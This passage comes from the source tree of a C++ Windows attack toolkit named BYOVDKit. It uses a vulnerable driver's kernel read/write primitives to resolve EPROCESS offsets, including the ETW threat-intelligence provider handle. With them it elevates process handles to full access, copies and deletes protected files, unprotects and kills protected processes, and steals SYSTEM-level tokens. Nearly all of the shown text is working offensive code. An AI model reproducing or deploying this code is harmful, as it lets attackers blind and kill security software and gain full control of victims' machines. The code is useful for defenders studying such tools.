pPsGetProcessId; 16 | WORD wUniqueProcessIdOffset; 17 | 18 | if (!(pPsGetProcessId = GetProcAddress(_KernelModule, "PsGetProcessId"))) 19 | { 20 | printf("The procedure 'PsGetProcessId' was not found.\n"); 21 | return FALSE; 22 | } 23 | 24 | //printf("PsGetProcessId @ 0x%016llx\n", (DWORD64)pPsGetProcessId); 25 | 26 | #ifdef _WIN64 27 | memcpy_s(&wUniqueProcessIdOffset, sizeof(wUniqueProcessIdOffset), (PVOID)((ULONG_PTR)pPsGetProcessId + 3), sizeof(wUniqueProcessIdOffset)); 28 | #else 29 | memcpy_s(&wUniqueProcessIdOffset, sizeof(wUniqueProcessIdOffset), (PVOID)((ULONG_PTR)pPsGetProcessId + 2), sizeof(wUniqueProcessIdOffset)); 30 | #endif 31 | 32 | if (wUniqueProcessIdOffset > 0x0fff) 33 | { 34 | printf("The offset value of 'UniqueProcessId' is greater than the maximum allowed (0x%04x).", wUniqueProcessIdOffset); 35 | return FALSE; 36 | } 37 | 38 | 39 | return wUniqueProcessIdOffset; 40 | } 41 | 42 | WORD FindProcessActiveProcessLinksOffset() 43 | { 44 | 45 | WORD wActiveProcessLinks; 46 | 47 | wActiveProcessLinks = FindProcessUniqueProcessIdOffset() + sizeof(PVOID); 48 | 49 | return wActiveProcessLinks; 50 | } 51 | 52 | 53 | WORD FindProcessProtectionOffset() 54 | { 55 | FARPROC pPsIsProtectedProcess, pPsIsProtectedProcessLight; 56 | WORD wProtectionOffsetA, wProtectionOffsetB; 57 | 58 | 59 | if (!(pPsIsProtectedProcess = GetProcAddress(_KernelModule, "PsIsProtectedProcess"))) 60 | { 61 | printf("The procedure 'PsIsProtectedProcess' was not found.\n"); 62 | return FALSE; 63 | } 64 | 65 | //printf("PsIsProtectedProcess @ 0x%016llx", (DWORD64)pPsIsProtectedProcess); 66 | 67 | if (!(pPsIsProtectedProcessLight = GetProcAddress(_KernelModule, "PsIsProtectedProcessLight"))) 68 | { 69 | printf("The procedure 'PsIsProtectedProcessLight' was not found.\n"); 70 | return FALSE; 71 | } 72 | 73 | //printf("PsIsProtectedProcessLight @ 0x%016llx", (DWORD64)pPsIsProtectedProcessLight); 74 | 75 | memcpy_s(&wProtectionOffsetA, sizeof(wProtectionOffsetA), (PVOID)((ULONG_PTR)pPsIsProtectedProcess + 2), sizeof(wProtectionOffsetA)); 76 | memcpy_s(&wProtectionOffsetB, sizeof(wProtectionOffsetB), (PVOID)((ULONG_PTR)pPsIsProtectedProcessLight + 2), sizeof(wProtectionOffsetB)); 77 | 78 | //printf("Offset in PsIsProtectedProcess: 0x%04x | Offset in PsIsProtectedProcessLight: 0x%04x", wProtectionOffsetA, wProtectionOffsetB); 79 | 80 | if (wProtectionOffsetA != wProtectionOffsetB || wProtectionOffsetA > 0x0fff) 81 | { 82 | printf("The offset value of 'Protection' is inconsistent or is greater than the maximum allowed (0x%04x / 0x%04x)", wProtectionOffsetA, wProtectionOffsetB); 83 | return FALSE; 84 | } 85 | 86 | return wProtectionOffsetA; 87 | } 88 | 89 | WORD FindProcessSignatureLevelOffset() 90 | { 91 | WORD wSignatureLevel; 92 | wSignatureLevel = (WORD)FindProcessProtectionOffset() - (2 * sizeof(UCHAR)); 93 | 94 | return wSignatureLevel; 95 | } 96 | 97 | WORD FindProcessJobOffset() 98 | { 99 | FARPROC pPsGetProcessJob; 100 | WORD wProcessJobOffset; 101 | 102 | if (!(pPsGetProcessJob = GetProcAddress(_KernelModule, "PsGetProcessJob"))) 103 | { 104 | printf("The procedure 'PsGetProcessJob' was not found.\n"); 105 | return FALSE; 106 | } 107 | 108 | //printf("PsGetProcessJob @ 0x%016llx\n", (DWORD64)pPsGetProcessJob); 109 | 110 | #ifdef _WIN64 111 | memcpy_s(&wProcessJobOffset, sizeof(wProcessJobOffset), (PVOID)((ULONG_PTR)pPsGetProcessJob + 3), sizeof(wProcessJobOffset)); 112 | #else 113 | memcpy_s(&wProcessJobOffset, sizeof(wProcessJobOffset), (PVOID)((ULONG_PTR)pPsGetProcessJob + 2), sizeof(wProcessJobOffset)); 114 | #endif 115 | 116 | //printf("UniqueProcessJobOffset Offset: 0x%04x\n", wUniqueProcessJobOffset); 117 | 118 | if (wProcessJobOffset > 0x0fff) 119 | { 120 | printf("The offset value of 'ProcessJobOffset' is greater than the maximum allowed (0x%04x).\n", wProcessJobOffset); 121 | return FALSE; 122 | } 123 | 124 | 125 | return wProcessJobOffset; 126 | } 127 | 128 | 129 | DWORD FindEtwThreatIntProvRegHandleOffset() 130 | { 131 | ULONG_PTR pKeInsertQueueApc; 132 | BYTE value1, value2, value3; 133 | DWORD offset, dwEtwThreatIntProvRegHandleOffset; 134 | 135 | 136 | if (!(pKeInsertQueueApc = (ULONG_PTR)GetProcAddress(_KernelModule, "KeInsertQueueApc"))) 137 | { 138 | printf("The procedure 'KeInsertQueueApc' was not found.\n."); 139 | return false; 140 | } 141 | 142 | for (int i = 0; i < 200; i++) { 143 | memcpy_s(&value1, sizeof(value1), (PVOID)((ULONG_PTR)pKeInsertQueueApc + i), sizeof(value1)); 144 | memcpy_s(&value2, sizeof(value2), (PVOID)((ULONG_PTR)pKeInsertQueueApc + i + 1), sizeof(value2)); 145 | memcpy_s(&value3, sizeof(value3), (PVOID)((ULONG_PTR)pKeInsertQueueApc + i + 2), sizeof(value3)); 146 | 147 | if ((value1 == 0x48 && value2 == 0x8b && value3 == 0x0d) || (value1 == 0x4c && value2 == 0x8b && value3 == 0x15)) { 148 | memcpy_s(&offset, sizeof(offset), (PVOID)((ULONG_PTR)pKeInsertQueueApc + i + 3), sizeof(offset)); 149 | dwEtwThreatIntProvRegHandleOffset = (DWORD)(pKeInsertQueueApc + i + 3 + sizeof(offset) + offset - (ULONG_PTR)_KernelModule); 150 | 151 | //printf("TESTING HIT 0x%016llx: 0x%llx\n", pKeInsertQueueApc + i + 3 + sizeof(offset), offset); 152 | //printf("dwEtwThreatIntProvRegHandleOffset: 0x%llx\n", dwEtwThreatIntProvRegHandleOffset); 153 | 154 | return dwEtwThreatIntProvRegHandleOffset; 155 | } 156 | 157 | } 158 | 159 | printf("The offset of EtwThreatIntProvRegHandle cannot be found\n"); 160 | 161 | 162 | return false; 163 | } 164 | 165 | WORD FindProcessDebugPortOffset() { 166 | 167 | FARPROC pPsGetProcessDebugPort; 168 | WORD wProcessDebugPortOffset; 169 | 170 | if (!(pPsGetProcessDebugPort = GetProcAddress(_KernelModule, "PsGetProcessDebugPort"))) 171 | { 172 | printf("The procedure 'PsGetProcessDebugPort' was not found.\n"); 173 | return FALSE; 174 | } 175 | 176 | //printf("PsGetProcessDebugPort @ 0x%016llx\n", (DWORD64)PsGetProcessDebugPort); 177 | 178 | #ifdef _WIN64 179 | memcpy_s(&wProcessDebugPortOffset, sizeof(wProcessDebugPortOffset), (PVOID)((ULONG_PTR)pPsGetProcessDebugPort + 3), sizeof(wProcessDebugPortOffset)); 180 | #else 181 | memcpy_s(&wProcessDebugPortOffset, sizeof(wProcessDebugPortOffset), (PVOID)((ULONG_PTR)pPsGetProcessDebugPort + 2), sizeof(wProcessDebugPortOffset)); 182 | #endif 183 | 184 | //printf("UniqueProcessJobOffset Offset: 0x%04x\n", wUniqueProcessJobOffset); 185 | 186 | if (wProcessDebugPortOffset > 0x0fff) 187 | { 188 | printf("The offset value of 'ProcessDebugPortOffset' is greater than the maximum allowed (0x%04x).", wProcessDebugPortOffset); 189 | return FALSE; 190 | } 191 | 192 | 193 | return wProcessDebugPortOffset; 194 | 195 | } 196 | 197 | WORD FindProcessObjectTableOffset() 198 | { 199 | WORD wProcessObjectTableOffset; 200 | wProcessObjectTableOffset = FindProcessDebugPortOffset() - 0x8; 201 | return wProcessObjectTableOffset; 202 | } 203 | 204 | WORD FindProcessTokenOffset() 205 | { 206 | WORD wProcessTokenOffset; 207 | wProcessTokenOffset = FindProcessJobOffset() - 0x58; 208 | return wProcessTokenOffset; 209 | } 210 | 211 | 212 | DWORD FindKernelPsInitialSystemProcessOffset() 213 | { 214 | ULONG_PTR pPsInitialSystemProcess; 215 | DWORD dwPsInitialSystemProcessOffset; 216 | 217 | if (!(pPsInitialSystemProcess = (ULONG_PTR)GetProcAddress(_KernelModule, "PsInitialSystemProcess"))) 218 | { 219 | printf("The procedure 'PsInitialSystemProcess' was not found.\n."); 220 | return FALSE; 221 | } 222 | 223 | //printf("PsInitialSystemProcess @ 0x%016llx\n", (DWORD64)pPsInitialSystemProcess); 224 | 225 | dwPsInitialSystemProcessOffset = (DWORD)(pPsInitialSystemProcess - (ULONG_PTR)_KernelModule); 226 | 227 | //printf("Offset: 0x%08x", dwPsInitialSystemProcessOffset); 228 | 229 | return dwPsInitialSystemProcessOffset; 230 | } 231 | 232 | 233 | 234 | void InitOffsets() { 235 | 236 | _KernelModule = LoadLibraryW(L"ntoskrnl.exe"); 237 | 238 | offsets = { 239 | FindKernelPsInitialSystemProcessOffset(), 240 | FindProcessUniqueProcessIdOffset(), 241 | FindProcessActiveProcessLinksOffset(), 242 | FindProcessObjectTableOffset(), 243 | FindProcessTokenOffset(), 244 | FindProcessProtectionOffset(), 245 | FindProcessSignatureLevelOffset(), 246 | FindEtwThreatIntProvRegHandleOffset() 247 | }; 248 | } 249 | 250 | Offsets GetOffsets() { 251 | return offsets; 252 | } 253 | 254 | 255 | ULONG_PTR GetKernelBaseAddress() 256 | { 257 | ULONG_PTR pKernelBaseAddress = 0; 258 | LPVOID* lpImageBase = NULL; 259 | DWORD dwBytesNeeded = 0; 260 | 261 | if (!EnumDeviceDrivers(NULL, 0, &dwBytesNeeded)) 262 | goto cleanup; 263 | 264 | if (!(lpImageBase = (LPVOID*)HeapAlloc(GetProcessHeap(), 0, dwBytesNeeded))) 265 | goto cleanup; 266 | 267 | if (!EnumDeviceDrivers(lpImageBase, dwBytesNeeded, &dwBytesNeeded)) 268 | goto cleanup; 269 | 270 | pKernelBaseAddress = ((ULONG_PTR*)lpImageBase)[0]; 271 | 272 | cleanup: 273 | if (lpImageBase) 274 | HeapFree(GetProcessHeap(), 0, lpImageBase); 275 | 276 | return pKernelBaseAddress; 277 | } 278 | 279 | 280 | 281 | BOOL GetInitialSystemProcessAddress(PULONG_PTR Addr) 282 | { 283 | ULONG_PTR pKernelBase, pPsInitialSystemProcess, pInitialSystemProcess; 284 | 285 | *Addr = 0; 286 | 287 | if (!(pKernelBase = GetKernelBaseAddress())) 288 | return FALSE; 289 | 290 | pPsInitialSystemProcess = pKernelBase + offsets.PsInitialSystemProcessOffset; 291 | 292 | //printf("PsInitialSystemProcess @ 0x%016llx\n", pPsInitialSystemProcess); 293 | 294 | if (!(ReadPtr(pPsInitialSystemProcess, &pInitialSystemProcess))) 295 | return FALSE; 296 | 297 | //printf("System process @ 0x%016llx\n", pInitialSystemProcess); 298 | 299 | *Addr = pInitialSystemProcess; 300 | 301 | return TRUE; 302 | } 303 | 304 | 305 | BOOL GetProcessList(PCTRL_PROCESS_INFO* List) 306 | { 307 | 308 | BOOL bResult = FALSE; 309 | PCTRL_PROCESS_INFO pProcessList = NULL, pProcessListNew; 310 | DWORD dwBaseSize = 4096, dwSize, dwNumberOfEntries = 0; 311 | DWORD64 dwProcessId; 312 | ULONG_PTR pProcess, pInitialSystemProcess; 313 | UCHAR bProtection, bSignatureLevel; 314 | 315 | if (!(pProcessList = (PCTRL_PROCESS_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBaseSize))) 316 | return FALSE; 317 | 318 | dwSize = sizeof(pProcessList->NumberOfEntries); 319 | 320 | if (!GetInitialSystemProcessAddress(&pInitialSystemProcess)) 321 | return FALSE; 322 | 323 | pProcess = pInitialSystemProcess; 324 | 325 | do 326 | { 327 | if (!Read64(pProcess + offsets.UniqueProcessIdOffset, &dwProcessId)) 328 | break; 329 | //printf("Process @ 0x%016llx has PID %d\n", pProcess, (DWORD)dwProcessId); 330 | dwSize += sizeof((*List)[0]); 331 | 332 | if (dwSize >= dwBaseSize) 333 | { 334 | dwBaseSize *= 2; 335 | if (!(pProcessListNew = (PCTRL_PROCESS_INFO)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pProcessList, dwBaseSize))) 336 | break; 337 | 338 | pProcessList = pProcessListNew; 339 | } 340 | 341 | pProcessList->Entries[dwNumberOfEntries].KernelAddress = pProcess; 342 | pProcessList->Entries[dwNumberOfEntries].Pid = (DWORD)dwProcessId; 343 | 344 | dwNumberOfEntries++; 345 | 346 | if (!ReadPtr(pProcess + offsets.ActiveProcessLinksOffset, &pProcess)) 347 | break; 348 | 349 | pProcess = pProcess - offsets.ActiveProcessLinksOffset; 350 | 351 | } while (pProcess != pInitialSystemProcess); 352 | 353 | 354 | if (pProcess == pInitialSystemProcess) 355 | { 356 | pProcessList->NumberOfEntries = dwNumberOfEntries; 357 | bResult = TRUE; 358 | *List = pProcessList; 359 | } 360 | 361 | if (!bResult && pProcessList) 362 | HeapFree(GetProcessHeap(), 0, pProcessList); 363 | 364 | return bResult; 365 | } 366 | 367 | BOOL GetProcessKernelAddress(DWORD Pid, PULONG_PTR Addr) 368 | { 369 | PCTRL_PROCESS_INFO pProcessInfo = NULL; 370 | DWORD dwIndex; 371 | ULONG_PTR pProcess = 0; 372 | 373 | if (!GetProcessList(&pProcessInfo)) 374 | return FALSE; 375 | 376 | 377 | for (dwIndex = 0; dwIndex < pProcessInfo->NumberOfEntries; dwIndex++) 378 | { 379 | if (pProcessInfo->Entries[dwIndex].Pid == Pid) 380 | { 381 | pProcess = pProcessInfo->Entries[dwIndex].KernelAddress; 382 | break; 383 | } 384 | } 385 | 386 | HeapFree(GetProcessHeap(), 0, pProcessInfo); 387 | 388 | if (pProcess == 0) 389 | { 390 | printf("Failed to retrieve Kernel address of process with PID %d.", Pid); 391 | return FALSE; 392 | } 393 | 394 | *Addr = pProcess; 395 | 396 | return TRUE; 397 | } 398 | 399 | 400 | DWORD64 GetHandleTableEntryAddress(DWORD64 HandleTable, ULONGLONG Handle) 401 | { 402 | ULONGLONG v2; 403 | LONGLONG v3; 404 | ULONGLONG result; 405 | ULONGLONG v5; 406 | 407 | ULONGLONG a1 = (ULONGLONG)HandleTable; 408 | 409 | v2 = Handle & 0xFFFFFFFFFFFFFFFCui64; 410 | 411 | DWORD v2_r; 412 | Read32(a1, &v2_r); 413 | if (v2 >= v2_r) { 414 | result = 0i64; 415 | } 416 | else { 417 | DWORD64 v3_r; Read64(a1 + 8, &v3_r); 418 | v3 = v3_r; 419 | DWORD64 tmp64; Read64(a1 + 8, &tmp64); 420 | if (tmp64 & 3) { 421 | DWORD tmp32; Read32(a1 + 8, &tmp32); 422 | if ((tmp32 & 3) == 1) { 423 | DWORD64 v5_r; Read64(v3 + 8 * (v2 >> 10) - 1, &v5_r); 424 | v5 = v5_r; 425 | result = v5 + 4 * (v2 & 0x3FF); 426 | } 427 | else { 428 | DWORD tmp32; Read32(v3 + 8 * (v2 >> 19) - 2, &tmp32); 429 | DWORD v5_r; Read32(tmp32 + 8 * ((v2 >> 10) & 0x1FF), &v5_r); 430 | v5 = v5_r; 431 | result = v5 + 4 * (v2 & 0x3FF); 432 | } 433 | } 434 | else { 435 | result = v3 + 4 * v2; 436 | } 437 | } 438 | 439 | return (DWORD64)result; 440 | } 441 | 442 | -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/FindOffset.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | typedef struct Offsets { 5 | DWORD PsInitialSystemProcessOffset; 6 | DWORD UniqueProcessIdOffset; 7 | DWORD ActiveProcessLinksOffset; 8 | DWORD ObjectTableOffset; 9 | DWORD TokenOffset; 10 | DWORD ProtectionOffset; 11 | DWORD SignatureLevelOffset; 12 | DWORD EtwThreatIntProvRegHandleOffset; 13 | }; 14 | 15 | 16 | void InitOffsets(); 17 | Offsets GetOffsets(); 18 | 19 | 20 | BOOL GetProcessKernelAddress(DWORD Pid, PULONG_PTR Addr); 21 | DWORD64 GetHandleTableEntryAddress(DWORD64 HandleTable, ULONGLONG Handle); 22 | ULONG_PTR GetKernelBaseAddress(); 23 | 24 | typedef struct _CTRL_PROCESS_ENTRY 25 | { 26 | ULONG_PTR KernelAddress; 27 | DWORD Pid; 28 | } CTRL_PROCESS_ENTRY, * PCTRL_PROCESS_ENTRY; 29 | 30 | typedef struct _CTRL_PROCESS_INFO 31 | { 32 | DWORD NumberOfEntries; 33 | CTRL_PROCESS_ENTRY Entries[ANYSIZE_ARRAY]; 34 | } CTRL_PROCESS_INFO, * PCTRL_PROCESS_INFO; 35 | -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/Global.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | 6 | HANDLE Device; 7 | HMODULE _KernelModule; 8 | -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/HandleElevate.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "DriverOps.h" 7 | #include "FindOffset.h" 8 | #include "HandleElevate.h" 9 | #include "DisablePPL.h" 10 | 11 | 12 | DWORD64 GetEprocessHandleTable(DWORD Pid) { 13 | ULONG_PTR pProcess; 14 | DWORD64 EprocessHandleTableAddress; 15 | GetProcessKernelAddress(Pid, &pProcess); 16 | Read64(pProcess + GetOffsets().ObjectTableOffset, &EprocessHandleTableAddress); 17 | return EprocessHandleTableAddress; 18 | } 19 | 20 | 21 | void ElevateHandle(DWORD64 hTableAddr, ULONGLONG hValue) { 22 | 23 | ULONG_PTR pSrcProcess, pDstProcess; 24 | UCHAR bSrcToken, bDstToken; 25 | UCHAR bProtectionLevel, bSignerType; 26 | 27 | BYTE SrcToken[8], DstToken[8]; 28 | 29 | DWORD64 HandleTableEntry = GetHandleTableEntryAddress(hTableAddr, hValue); 30 | BYTE forentry[16]; 31 | for (int i = 0; i < 16; i++) { 32 | BYTE tmp; 33 | Read8(HandleTableEntry + i, &tmp); 34 | forentry[i] = tmp; 35 | } 36 | HANDLE_TABLE_ENTRY* HandleTableEntryObject = (HANDLE_TABLE_ENTRY*)(void*)forentry; 37 | HandleTableEntryObject->GrantedAccess = 0x1fffff; 38 | BYTE NewHandle[16]; 39 | std::memcpy(NewHandle, HandleTableEntryObject, 16); 40 | for (int i = 0; i < 16; i++) 41 | { 42 | DWORD NewHandleData = NewHandle[i]; 43 | Write8(HandleTableEntry + i, NewHandleData); 44 | } 45 | printf("Elevated HANDLE to 0x1fffff bits\n"); 46 | 47 | } 48 | 49 | 50 | BYTE* buffer_payload(HANDLE file, OUT size_t& r_size) 51 | { 52 | 53 | HANDLE mapping = CreateFileMapping(file, 0, PAGE_READONLY, 0, 0, 0); 54 | if (!mapping) { 55 | std::cerr << "[X] Could not create mapping!" << std::endl; 56 | CloseHandle(file); 57 | return nullptr; 58 | } 59 | BYTE* dllRawData = (BYTE*)MapViewOfFile(mapping, FILE_MAP_READ, 0, 0, 0); 60 | if (dllRawData == nullptr) { 61 | std::cerr << "[X] Could not map view of file" << std::endl; 62 | CloseHandle(mapping); 63 | CloseHandle(file); 64 | return nullptr; 65 | } 66 | r_size = GetFileSize(file, 0); 67 | BYTE* localCopyAddress = (BYTE*)VirtualAlloc(NULL, r_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 68 | if (localCopyAddress == NULL) { 69 | std::cerr << "Could not allocate memory in the current process" << std::endl; 70 | return nullptr; 71 | } 72 | memcpy(localCopyAddress, dllRawData, r_size); 73 | UnmapViewOfFile(dllRawData); 74 | CloseHandle(mapping); 75 | return localCopyAddress; 76 | } 77 | 78 | 79 | HANDLE open_file(wchar_t* filePath) 80 | { 81 | // convert to NT path 82 | std::wstring nt_path = L"\\??\\" + std::wstring(filePath); 83 | 84 | UNICODE_STRING file_name = { 0 }; 85 | RtlInitUnicodeString(&file_name, nt_path.c_str()); 86 | 87 | OBJECT_ATTRIBUTES attr = { 0 }; 88 | InitializeObjectAttributes(&attr, &file_name, OBJ_CASE_INSENSITIVE, NULL, NULL); 89 | 90 | IO_STATUS_BLOCK status_block = { 0 }; 91 | HANDLE file = INVALID_HANDLE_VALUE; 92 | NTSTATUS stat = NtOpenFile(&file, 93 | DELETE | SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE, 94 | &attr, 95 | &status_block, 96 | FILE_SHARE_READ | FILE_SHARE_WRITE, 97 | FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT 98 | ); 99 | if (!NT_SUCCESS(stat)) { 100 | std::cout << "Failed to open, status: " << std::hex << stat << std::endl; 101 | return INVALID_HANDLE_VALUE; 102 | } 103 | std::wcout << "Created temp file: " << filePath << "\n"; 104 | return file; 105 | } 106 | 107 | HANDLE prep_payload_file(BYTE* payladBuf, DWORD payloadSize) { 108 | 109 | wchar_t dummy_name[MAX_PATH] = { 0 }; 110 | wchar_t temp_path[MAX_PATH] = { 0 }; 111 | DWORD size = GetTempPathW(MAX_PATH, temp_path); 112 | GetTempFileNameW(temp_path, L"TH", 0, dummy_name); 113 | 114 | wchar_t* filePath = dummy_name; 115 | 116 | HANDLE hFile = open_file(filePath); 117 | if (!hFile || hFile == INVALID_HANDLE_VALUE) { 118 | printf("Failed to create file: %0x%08x\n", GetLastError()); 119 | return INVALID_HANDLE_VALUE; 120 | } 121 | 122 | 123 | IO_STATUS_BLOCK status_block = { 0 }; 124 | 125 | NTSTATUS status = 0; 126 | 127 | LARGE_INTEGER ByteOffset = { 0 }; 128 | 129 | status = WriteFile( 130 | hFile, 131 | payladBuf, 132 | payloadSize, 133 | NULL, 134 | NULL 135 | ); 136 | if (!NT_SUCCESS(status)) { 137 | printf("WriteFile Status Error: %lx\n", status); 138 | return INVALID_HANDLE_VALUE; 139 | } 140 | std::cout << "Written!\n"; 141 | 142 | return hFile; 143 | } 144 | 145 | bool CopyProtectedFile(LPCWSTR filePath) { 146 | FILE_DISPOSITION_INFORMATION Dispostion = { TRUE }; 147 | IO_STATUS_BLOCK IoStatusBlock; 148 | 149 | DWORD currentPid = GetCurrentProcessId(); 150 | 151 | wprintf(L"Openeing READ_CONTROL handle to %s\n", filePath); 152 | 153 | HANDLE fHandle = CreateFileW(filePath, READ_CONTROL, 0, 0, OPEN_EXISTING, 0, 0); 154 | if (fHandle == INVALID_HANDLE_VALUE) { 155 | printf("Unable to obtain a handle to file: %0x%08x\n", GetLastError()); 156 | return false; 157 | } 158 | 159 | ElevateHandle(GetEprocessHandleTable(currentPid), (LONGLONG)fHandle); 160 | size_t payloadSize = 0; 161 | BYTE* payladBuf = buffer_payload(fHandle, payloadSize); 162 | prep_payload_file(payladBuf, payloadSize); 163 | 164 | CloseHandle(fHandle); 165 | return true; 166 | } 167 | 168 | 169 | bool DeleteProtectedFile(LPCWSTR filePath) { 170 | FILE_DISPOSITION_INFORMATION Dispostion = { TRUE }; 171 | IO_STATUS_BLOCK IoStatusBlock; 172 | 173 | DWORD currentPid = GetCurrentProcessId(); 174 | 175 | wprintf(L"Openeing READ_CONTROL handle to: %s\n", filePath); 176 | 177 | 178 | HANDLE fHandle = CreateFileW(filePath, READ_CONTROL, 0, 0, OPEN_EXISTING, 0, 0); 179 | if (fHandle == INVALID_HANDLE_VALUE) { 180 | printf("Unable to obtain a handle to file: %0x%08x\n", GetLastError()); 181 | return false; 182 | } 183 | 184 | ElevateHandle(GetEprocessHandleTable(currentPid), (LONGLONG)fHandle); 185 | 186 | static auto NtSetInformationFile = (NtSetInformationFile_t)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "NtSetInformationFile"); 187 | NTSTATUS status = NtSetInformationFile(fHandle, &IoStatusBlock, &Dispostion, sizeof(Dispostion), (FILE_INFORMATION_CLASS)13); 188 | if (!NT_SUCCESS(status)) { 189 | printf("SetInformationFile Status Error: %lx\n", status); 190 | return false; 191 | } 192 | CloseHandle(fHandle); 193 | 194 | wprintf(L"File %s deleted\n", filePath); 195 | 196 | return true; 197 | } 198 | 199 | 200 | bool TerminateProtectedProcess(DWORD Pid) { 201 | NTSTATUS r; 202 | 203 | printf("Got PID %d to terminate\n", Pid); 204 | DWORD currentPid = GetCurrentProcessId(); 205 | 206 | CLIENT_ID id; 207 | id.UniqueProcess = (HANDLE)(DWORD_PTR)Pid; 208 | id.UniqueThread = (PVOID)0; 209 | OBJECT_ATTRIBUTES oa; 210 | HANDLE handle = 0; 211 | InitializeObjectAttributes(&oa, NULL, NULL, NULL, NULL); 212 | 213 | printf("Openeing PROCESS_QUERY_LIMITED_INFORMATION handle to: %d\n", Pid); 214 | 215 | static auto NtOpenProcess = (NtOpenProcess_t)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "NtOpenProcess"); 216 | NTSTATUS status = NtOpenProcess(&handle, PROCESS_QUERY_LIMITED_INFORMATION, &oa, &id); 217 | //NTSTATUS status = NtOpenProcess(&handle, SYNCHRONIZE, &oa, &id); 218 | if (!NT_SUCCESS(status)) { 219 | printf("NtOpenProcess Status Error: %lx\n", status); 220 | return false; 221 | } 222 | if (handle == INVALID_HANDLE_VALUE) { 223 | printf("Unable to obtain a handle to process\n"); 224 | return false; 225 | } 226 | 227 | ElevateHandle(GetEprocessHandleTable(currentPid), (ULONGLONG)handle); 228 | UnprotectProcess(Pid); 229 | TerminateProcess(handle, 0); 230 | printf("Process %d terminiated\n", Pid); 231 | 232 | return true; 233 | } -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/HandleElevate.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | typedef struct _HANDLE_TABLE_ENTRY_INFO 5 | { 6 | ULONG AuditMask; 7 | } HANDLE_TABLE_ENTRY_INFO, * PHANDLE_TABLE_ENTRY_INFO; 8 | 9 | 10 | 11 | typedef struct _HANDLE_TABLE_ENTRY 12 | { 13 | union 14 | { 15 | PVOID Object; 16 | ULONG ObAttributes; 17 | PHANDLE_TABLE_ENTRY_INFO InfoTable; 18 | ULONG Value; 19 | }; 20 | union 21 | { 22 | ULONG GrantedAccess; 23 | struct 24 | { 25 | WORD GrantedAccessIndex; 26 | WORD CreatorBackTraceIndex; 27 | }; 28 | LONG NextFreeTableEntry; 29 | }; 30 | } HANDLE_TABLE_ENTRY, * PHANDLE_TABLE_ENTRY; 31 | 32 | typedef struct _FILE_DISPOSITION_INFORMATION { 33 | BOOLEAN DeleteFile; 34 | } FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION; 35 | 36 | 37 | bool CopyProtectedFile(LPCWSTR filePath); 38 | bool DeleteProtectedFile(LPCWSTR filePath); 39 | bool TerminateProtectedProcess(DWORD Pid); 40 | 41 | typedef CLIENT_ID *PCLIENT_ID; 42 | 43 | typedef NTSTATUS(NTAPI* NtSetInformationFile_t)( 44 | IN HANDLE FileHandle, 45 | OUT PIO_STATUS_BLOCK IoStatusBlock, 46 | IN PVOID FileInformation, 47 | IN ULONG Length, 48 | IN FILE_INFORMATION_CLASS FileInformationClass 49 | ); 50 | 51 | typedef NTSTATUS(NTAPI* NtOpenProcess_t)( 52 | OUT PHANDLE ProcessHandle, 53 | IN ACCESS_MASK AccessMask, 54 | IN POBJECT_ATTRIBUTES ObjectAttributes, 55 | IN PCLIENT_ID ClientId 56 | ); 57 | 58 | #define InitializeObjectAttributes(p, n, a, r, s) \ 59 | { \ 60 | (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ 61 | (p)->RootDirectory = r; \ 62 | (p)->Attributes = a; \ 63 | (p)->ObjectName = n; \ 64 | (p)->SecurityDescriptor = s; \ 65 | (p)->SecurityQualityOfService = NULL; \ 66 | } 67 | -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/TokenCopy.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "DriverOps.h" 5 | #include "FindOffset.h" 6 | #include "TokenCopy.h" 7 | 8 | 9 | 10 | bool CopyToken(DWORD SrcPid, DWORD DstPid) { 11 | ULONG_PTR pSrcProcess, pDstProcess; 12 | UCHAR bSrcToken, bDstToken; 13 | UCHAR bProtectionLevel, bSignerType; 14 | 15 | BYTE SrcToken[8], DstToken[8]; 16 | 17 | 18 | if (!GetProcessKernelAddress(SrcPid, &pSrcProcess)) 19 | return false; 20 | for (int i = 0; i < 8; i++) { 21 | Read8(pSrcProcess + GetOffsets().TokenOffset + i, &bSrcToken); 22 | SrcToken[i] = bSrcToken; 23 | } 24 | EX_FAST_REF* SrcTokenObj = (EX_FAST_REF*)(void*)SrcToken; 25 | 26 | printf("Got token at %p for process %d\n", SrcTokenObj->Object, SrcPid); 27 | 28 | 29 | if (!GetProcessKernelAddress(DstPid, &pDstProcess)) 30 | return false; 31 | for (int i = 0; i < 8; i++) { 32 | Read8(pDstProcess + GetOffsets().TokenOffset + i, &bDstToken); 33 | DstToken[i] = bDstToken; 34 | } 35 | EX_FAST_REF* DstTokenObj = (EX_FAST_REF*)(void*)DstToken; 36 | 37 | printf("Got token at %p for process %d\n", DstTokenObj->Object, DstPid); 38 | 39 | 40 | DstTokenObj->Value = SrcTokenObj->Value; 41 | BYTE newtoken[8]; 42 | std::memcpy(newtoken, DstTokenObj, 8); 43 | for (int i = 0; i < 8; i++) 44 | { 45 | DWORD NewTokenData = newtoken[i]; 46 | Write8(pDstProcess + GetOffsets().TokenOffset + i, NewTokenData); 47 | } 48 | 49 | } 50 | -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/TokenCopy.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef struct _EX_FAST_REF 4 | { 5 | union 6 | { 7 | PVOID Object; 8 | ULONG RefCnt : 3; 9 | ULONG Value; 10 | }; 11 | } EX_FAST_REF, * PEX_FAST_REF; 12 | 13 | bool 